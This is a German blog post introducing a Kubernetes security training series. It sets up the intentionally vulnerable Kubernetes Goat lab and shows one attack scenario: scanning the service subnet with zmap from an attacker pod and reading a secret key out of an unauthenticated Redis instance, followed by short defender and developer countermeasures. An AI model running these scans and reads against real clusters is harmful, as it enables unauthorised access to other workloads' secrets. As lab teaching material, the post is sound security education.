Kubernetes Security: Über Ziegen und andere Kuriositäten

Kubernetes Sicherheit verstehen & anwenden

Avatar von Michael Krieg

Warum ist “Sicherheit” überhaupt so wichtig? Was habe ich als Software-Entwickler damit zu tun? Und: wo kann ich mal ungestört herumspielen und Dinge kaputtmachen? Fragen über Fragen …

Wir haben Antworten für dich!

In unserer kommenden Blogserie “Über Ziegen und andere Kuriositäten” nehmen wir das Thema „Kubernetes-Sicherheit“ ernst – und dich an die Hand.

Was erwartet dich?

  • Eine Anleitung zum Spielen, Angreifen & Zerstören
  • Rollentausch: nimm abwechselnd die Rolle des “Angreifers”, des “Verteidigers” und des “Entwicklers” an und realisiere die unterschiedlichen Perspektiven
  • Praktische Szenarien
  • Tools & deren Einsatz

Vorbereitung

Am besten schaffst du dir eine günstige, isolierte “Hacker-Umgebung”. Wie das geht, erfährst du gleich am Beispiel eines automatisierten Hetzner-Cloud-Setups. Natürlich kannst du das Setup auch lokal umsetzen oder eine Alternative zu Hetzner wählen; wir haben uns der Einfachheit halber für diese Variante entschieden.

Wichtig!
Bitte probiere die kommenden Szenarien NICHT in einem produktiven Cluster aus! Das Risiko wäre u. U. zu groß oder es ruft mindestens deinen CISO oder Chief of Engineering auf den Plan. Und die beiden werden Fragen haben …

Anleitung für einen “Goat Shed”

Was hat das alles mit Ziegen zu tun? Nein, du hast dich nicht verlesen – wir bauen uns eine kleine Hetzner Cloud VM für unsere Experimente auf Basis von Kubernetes Goat und dessen praktischen Szenarien. Die Vorteile dieses Setups sind wie folgt:

  • günstig
  • schnell auf- und wieder abgebaut
  • komplett isoliert
  • nutzbar auch für dein Team

Ubuntu VM provisionieren

Hetzner Cloud & das passende cloud-init Skript

Wenn du noch keinen Hetzner-Cloud-Account hast, besorge dir hier einen. Für unsere Zwecke reicht ein CX21 (der ist mit 2 vCPUs und 4 GB RAM zwar nicht üppig bestückt, dafür aber ausreichend und günstig). Wähle “Ubuntu 22” als OS Image aus setze einen Hostnamen, z. B. “k8s-goat”.

Damit Docker bereits vorinstalliert ist und fail2ban grundlegende SSH Auth Attacks abwährt, nutzt bitte unser kompaktes “Cloud Config”-Skript und füge es im Setup Wizard ein, ebenso wie deinen SSH Public Key. Übrigens enthält das Skript auch auskommentierte Zeilen für weitere (Admin-)User und deren sudo-Berechtigungen:

Sobald der neue Server bereitsteht, loggst du dich per SSH und deinem Public Key ein:

ssh -l root <PUBLIC-IPV4>
sudo su -l

Workshop vorbeiten

Führe dann folgende manuelle Schritte (siehe Gist) aus, um neben kubectlhelm und kind auch kubernetes-goats initialisiert zu haben.

Schau’ dich um!

Nun sollte ein Single Node Cluster auf Basis von kind laufen:

kubectl get nodes
kubectl cluster-info
kubectl get namespaces

# kubernetes goat sollte erkennbar sein (Beispielausgabe!)
kubectl get pods
NAME                                              READY   STATUS      RESTARTS      AGE
batch-check-job-d8lw5                             0/1     Completed   0             4h15m
build-code-deployment-7b558b489f-gqjlf            1/1     Running     0             4h15m
hacker-container                                  1/1     Running     5 (96m ago)   4h8m
health-check-deployment-ff6f9f76f-2z25p           1/1     Running     0             4h15m
hidden-in-layers-x2j22                            1/1     Running     0             4h15m
internal-proxy-deployment-7955c45559-9q57x        2/2     Running     0             4h15m
kubernetes-goat-home-deployment-578759495-dnlvj   1/1     Running     0             4h15m
metadata-db-7b78ff9dd9-l4nfq                      1/1     Running     0             4h15m
poor-registry-deployment-c96986875-n4zp8          1/1     Running     0             4h15m
system-monitor-deployment-7d665b6fdf-zsswv        1/1     Running     0             4h15m

Szenario #1: Namespaces überwinden

Jetzt geht’s endlich los! Namespaces in Kubernetes sind aus Sicherheitsperspektive – ähnlich wie Secrets – ein eher spärliches Konzept. Sie isolieren von alleine keine Workloads und mit etwas Gespür und Erfahrung können wir auch unser “Clusternachbarn” leicht ausspionieren.

Challenge: Secrets aus einem beliebigen Redis Server auslesen

Versetze dich bitte zunächst in die Rolle des “Hackers”. Dieser hat bereits Zugriff auf unser Cluster und schaut sich emsig um. Wenige Augenblicke wird es dauern, bis er zu freigiebige Redis-Services entdeckt und diese abfragt.

Kubernetes nutzt einige Default-Netzwerk-CIDRs, z. B. für Pods oder Services.

Als Cluster-Admin kannst du z. B. folgendes tun, um das konfigurierte Service CIDR zu verifizieren:

kubectl get cm kubeadm-config -n kube-system -o yaml | grep serviceSubnet
      serviceSubnet: 10.96.0.0/16

Unser “Attacker” startet nun eine Shell in einem präparierten Pod und beginnt die Suche nach Redis: kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh Er scannt nun das gesamte Services-Subnet und findet eine IP-Adresse:

zmap -p 6379 10.96.0.0/16 -o results.csv
# output dedacted
cat results.csv
10.96.90.123

redis-cli -h 10.96.90.123
10.96.90.123:6379> KEYS *
1) "SECRETSTUFF"
10.96.90.123:6379> GET SECRETSTUFF
"k8s-goat-a5a3e446faafa9d0514b3ff396ab8a40"
10.96.90.123:

Bäm! Obwohl in unserem Beispiel Redis nicht im Default-Namespace erreichbar ist, kommen wir ohne Weiteres an die Daten heran!

Die Antwort des “Defenders”

Wechseln wir – wie angedeutet – jetzt die Perspektive. Der zuständige Cluster-Administrator kann nun Vorkehrungen treffen. So könnte er z. B. über das Kubernetes-Konzept der Network Policies nachdenken und diese etablieren.

Die Antwort des “Entwicklers”

Nach einiger Recherche entschließt sich das Team, eine Authentifizierung ihres Redis In-Memory Stores zu erzwingen. Das läßt sich zudem sehr gut über GitOps-Prinzipien automatisieren und kontinuierlich überwachen.

Recap: das haben wir gemacht & gelernt

  • Isoliertes Single-Node Kubernetes-Cluster auf Basis von kind
  • kubernetes-goat Workshop Repository ausgecheckt und Beispielworkloads installiert
  • Mit zmap nach offenen Redis-Services geforscht
  • Redis Keys aus einem beliebigen Kubernetes-Namespace ausgelesen
  • Erfahren, was “Defenders” und “Entwickler” hiernach tun können

Wie geht es weiter?

Unser “Spiel-Cluster” können wir für unsere nächsten Explorationen und Szenarien weiterverwenden. Teil 2 dieser Reihe befasst sich dann mit “Secrets in Sourcecode und Docker Images”.

Avatar von Michael Krieg

Kommentare

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert


Für das Handling unseres Newsletters nutzen wir den Dienst HubSpot. Mehr Informationen, insbesondere auch zu Deinem Widerrufsrecht, kannst Du jederzeit unserer Datenschutzerklärung entnehmen.